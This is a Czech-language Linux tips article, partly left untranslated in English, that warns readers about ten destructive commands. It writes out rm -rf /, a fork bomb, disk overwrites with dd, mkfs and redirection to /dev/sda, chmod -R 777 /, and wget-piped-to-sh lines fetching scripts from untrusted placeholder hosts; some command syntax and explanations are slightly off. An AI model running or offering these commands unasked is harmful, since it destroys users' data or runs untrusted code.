GNU/Linux >> Znalost Linux >  >> Linux

10 smrtících příkazů, které byste nikdy neměli spouštět na Linuxu

Operační systém Linux poskytuje svým uživatelům větší nezávislost ve srovnání s Windows nebo jakýmkoli jiným operačním systémem. Zatímco některým zkušeným vývojářům poskytuje operační systém Linux svobodu při provádění operací, může také narušit svobodu poskytovanou těmto vývojářům. Zatímco každá technologie má své klady a zápory, Linux také. Je nanejvýš důležité, aby uživatel měl dostatečné znalosti o bezpečných a smrtících příkazech před provedením. Zde budeme diskutovat o smrtících příkazech, které byste nikdy neměli spouštět, aniž byste plně pochopili, co znamenají.

1. Rekurzivní mazání

Jedním z nejrychlejších způsobů odstranění složky a jejího obsahu je příkaz rm -rf. V průběhu let si získal popularitu, protože překonal chybu, která se vyskytla v systému Windows při odstranění souboru nebo složky. Tento příkaz vymaže vše ze souboru, složky nebo pevného disku, na kterém je spuštěn. Pojďme si příkaz rozebrat a pochopit, co ve skutečnosti znamená:

rm – Odeberte všechny soubory v daných umístěních

-rf – Tento příkaz se dále dělí na dvě části:r a f. r znamená rekurzivní odstranění všech souborů, zatímco f znamená sílu, což znamená, že smaže všechny soubory bez vyzvání uživatele.

Na internetu je k dispozici řada variant tohoto příkazu. Je důležité pochopit, že je třeba vědět, co příkaz dělá, jakmile je spuštěn v určité složce, jinak může dojít ke ztrátě dat. Data ztracená tímto příkazem nelze žádným způsobem obnovit.

  • rm – Tento příkaz se používá k odstranění souborů všech souborů v cestě, kterou zadáte
  • rm -r – Tento příkaz se používá k rekurzivnímu mazání souborů ze všech adresářů a podadresářů v operačním systému Linux.
  • rm -f – Tento příkaz se používá k odstranění souborů na zadané cestě bez vyzvání uživatele. To zahrnuje také odstranění „Souborů pouze pro čtení“.
  • rm -rf / – Toto je jeden z nejnebezpečnějších příkazů, protože / odkazuje na kořenový adresář operačního systému. Jakmile je tento příkaz spuštěn, násilně a rekurzivně odstraní veškerý obsah kořenového adresáře. Všechny vaše adresáře a podadresáře tak budou smazány a data budou ztracena.
  • rm -rf * – Tento příkaz násilně smaže všechna data v pracovním adresáři
  • rm -rf. –  Tento příkaz násilně odstraní soubory v aktuálním pracovním adresáři i podadresáře. Také odstraní všechny konfigurační soubory v adresáři.

2. Vidlicová bomba

Protože Linux pracuje na Bash, je důležité porozumět tomu, co příkaz udělá s vaším systémem, než jej spustíte. Toto je jednoduchá bash funkce, která po provedení vytvoří kopie sebe sama, což zase vytvoří další sadu kopií sebe sama. To spotřebovává čas CPU a paměť. Proto běží rekurzivně, dokud systém nezamrzne.

:(){:|:&};:

3. Přepsat pevný disk

Pokud jste omylem nebo omylem provedli následující příkaz na vašem pevném disku, je obnovení zcela nemožné.

command > dev/sda
This command writes raw data to the hard drive mentioned. This results in data loss in the hard drive or partition mentioned in the command. Let's break down the command into sections in order to understand what each of the section does.
command - This can be any command entered by the user

> - This is responsible for sending the output of the command to the location entered

dev/sda - The output of the command will be written to this location

Thus, you should know what that command will do to your operating system and hard drive before executing it. Moreover, be careful about using commands which include your hard drive locations such as dev/sda.

4. Implode Hard Drive

Stejně jako rčení „Existuje více než jeden způsob, jak stáhnout kočku z kůže“, existuje více než jeden způsob, jak zničit váš pevný disk. V každém systému Linux je dev/null speciální umístění, které se označuje jako černá díra. Vše, co se přesune do této černé díry, je zničeno. Pokud jste omylem přesunuli svá data do této složky, vaše data stejně nebudou obnovena.

mv /home/root/*  dev/null

Výše zmíněný příkaz přesune všechna data v domovské/kořenové složce do černé díry, čímž dojde ke ztrátě dat. Pojďme si příkaz rozebrat, abychom pochopili, co jednotlivé sekce dělají.

mv - This command is used for moving a folder to another location

/home/root/* – Toto je umístění složky, která bude přesunuta

dev/null – Speciální místo označené jako černá díra

Proto byste měli být opatrní při spouštění příkazu přesunout. Ujistěte se, že umístění, kam přesouváte složku, v systému existuje.

5. Stáhnout škodlivý skript

Všichni jsme si vědomi výhod příkazu „wget“ v Linuxu, ale co si nejsme vědomi, může stahovat škodlivé skripty a viry a také užitečný software. Pokud jste náhodou spustili některý z následujících příkazů, pochopíte, o co jde.

wget http://malicious_source -o- | sh
wget http://example.com/something  -o- | sh -
wget http: //an-untrusted-url -o- | sh

Výše uvedené příkazy stahují obsah z poskytnuté adresy URL a spouštějí stažený skript.

6. Formátovat pevný disk

Existuje další příkaz k vymazání pevného disku a jeho vytvoření nového. Ty by se měly používat pouze v případech, kdy máte data zálohovaná v cloudu nebo na externím zařízení.

mkfs.ext3 /dev/sda

Spuštění tohoto příkazu je totožné se spuštěním plného formátu na disku C v systému Windows, ve kterém budou všechny soubory z disku vymazány a je připraven k nové instalaci. Abychom to lépe pochopili. Pojďme si tento příkaz rozebrat.

mkfs.ext3 - This creates a new ext3 file system on the hard drive.
dev/sda - This specifies the first partition on the hard drive.

Společně, když je tento příkaz proveden, zformátuje určený oddíl na pevném disku a přeformátuje jej podle zadaného systému souborů, který je ve výše uvedeném příkazu ext3. Proto je velmi důležité porozumět tomu, co příkaz dělá, než se spustí ve vašem systému a ztratíte všechna data.

7. Vyprázdnit obsah souboru

Příkaz pro vyprázdnění obsahu souboru je snadný a lze jej spustit v jakékoli instanci.

>file

Pokud jste někdy provedli jakýkoli příkaz výše uvedeného typu, viděli byste, že obsah zadaného souboru musel být vyprázdněn. „>“ je zodpovědné za vyprázdnění obsahu souboru, proto dvakrát zkontrolujte příkaz, který provádíte.

8. Upravit předchozí příkaz

Tento příkaz je požehnáním a prokletím. I když to usnadňuje nezapisování všech předchozích příkazů znovu a jejich provádění, může to také vnést škodlivý obsah do dříve spuštěného příkazu. Proto je nutné se ujistit, zda je pro vás použití tohoto příkazu vhodné.

^foo^bar

9. Zápis náhodného nevyžádaného obsahu na pevný disk

Pokud jste se někdy setkali s níže uvedeným příkazem, pak vám blahopřejeme, že jste také mohli vidět náhodný zápis nevyžádané pošty na váš pevný disk, pokud jste natolik šílení, že jste tento příkaz skutečně provedli. Následným efektem tohoto příkazu je, že váš systém nebude obnoven.

dd if=/dev/random of=/dev/sda

10. Chmod -R 777/

Tento příkaz fyzicky neovlivňuje váš systém, jako všechny ostatní příkazy, jak je popsáno v každé části, ale představuje narušení zabezpečení systému. Provedením tohoto příkazu poskytujete všem uživatelům systému možnost číst, zapisovat a spouštět data ve vašem systému souborů. Proto používejte tento příkaz moudře.

Doufáme, že tyto podrobné informace o smrtících příkazech zabrání ztrátě dat ze systému. Dejte nám vědět v sekci komentářů níže, zda vám to pomohlo nebo ne.


Linux
  1. 10 příkazů, které by měl znát každý uživatel Linuxu

  2. 10 základních linuxových příkazů, které potřebujete znát

  3. 7 síťových příkazů Linuxu, které by měl znát každý správce systému

  1. 3 Linuxové příkazy pro vypnutí systému a budete to moci udělat snadno

  2. Tři linuxové příkazy, které byste nikdy neměli používat

  3. Jak zničit váš systém:Nebezpečné příkazy Linuxu

  1. 5 Linuxových příkazů, které nikdy nepoužívám

  2. 3 Užitečné Linuxové příkazy pro systémové administrátory

  3. Linuxové příkazy od A do Z